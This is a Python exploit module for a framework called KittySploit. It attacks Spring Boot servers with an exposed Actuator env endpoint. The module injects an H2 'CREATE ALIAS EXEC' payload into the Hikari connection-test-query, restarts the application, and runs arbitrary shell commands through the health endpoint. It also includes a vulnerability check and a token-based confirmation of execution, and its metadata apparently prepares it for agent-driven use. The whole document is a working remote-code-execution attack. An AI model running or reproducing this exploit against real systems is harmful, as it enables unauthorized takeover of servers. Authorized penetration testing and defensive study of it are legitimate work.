Spring Boot Actuator H2 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Spring Boot Actuator H2 connection-test-query RCE."""

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Spring Boot Actuator H2 RCE',
        'description': (
            'Exploits exposed Spring Boot Actuator /actuator/env to inject an H2 '
            'connection-test-query (CREATE ALIAS EXEC) and restart the application, '
            'yielding remote command execution when spring.datasource.hikari is active.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database',
            'https://github.com/spaceraccoon/spring-boot-actuator-h2-rce',
        ],
        'tags': ['springboot', 'actuator', 'h2', 'jolokia', 'rce'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/springboot_h2_db_rce_detect'],
            },
        },
    }

    env_path = OptString('/actuator/env', 'Actuator env endpoint', required=False, advanced=True)
    restart_path = OptString('/actuator/restart', 'Actuator restart endpoint', required=False, advanced=True)
    health_path = OptString('/actuator/health', 'Health endpoint to trigger pool test', required=False, advanced=True)

    def _h2_query(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "''")
        alias = (
            "CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io."
            "IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun',"
            "'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw "
            "new IllegalArgumentException(); }')"
        )
        return f"{alias};CALL EXEC('{safe}');"

    def _post_env(self, name: str, value: str) -> bool:
        path = str(self.env_path or '/actuator/env').strip() or '/actuator/env'
        body = json.dumps({'name': name, 'value': value})
        r = self.http_request(
            method='POST',
            path=path,
            data=body,
            headers={'Content-Type': 'application/json'},
            allow_redirects=False,
        )
        return bool(r and r.status_code in (200, 204))

    def _restart(self) -> bool:
        path = str(self.restart_path or '/actuator/restart').strip() or '/actuator/restart'
        r = self.http_request(method='POST', path=path, allow_redirects=False)
        return bool(r and r.status_code in (200, 204))

    def execute(self, cmd: str) -> str:
        if not self._post_env('spring.datasource.hikari.connection-test-query', self._h2_query(cmd)):
            return ''
        self._restart()
        health = str(self.health_path or '/actuator/health').strip() or '/actuator/health'
        r = self.http_request(method='GET', path=health, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        path = str(self.env_path or '/actuator/env').strip() or '/actuator/env'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': '/actuator/env not exposed', 'confidence': 'medium'}
        blob = r.text or ''
        if 'hikari' in blob.lower() or 'datasource' in blob.lower():
            return {
                'vulnerable': True,
                'reason': 'Actuator env exposes datasource (H2 injection surface)',
                'confidence': 'high',
            }
        probe = self._post_env(
            'spring.datasource.hikari.connection-test-query',
            'SELECT 1',
        )
        if probe:
            return {
                'vulnerable': True,
                'reason': 'Actuator accepted H2 connection-test-query mutation',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Env mutation rejected', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        body = self.execute(f'echo {token}')
        return token in (body or '')

    def run(self):
        if not self.check_execute():
            chk = self.check()
            if not chk.get('vulnerable'):
                print_error(chk.get('reason'))
                return False
            print_warning('RCE not confirmed in-band — restart may be disabled')
            cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip() or 'id'
            self.execute(cmd)
            return False
        return self.handler_execute()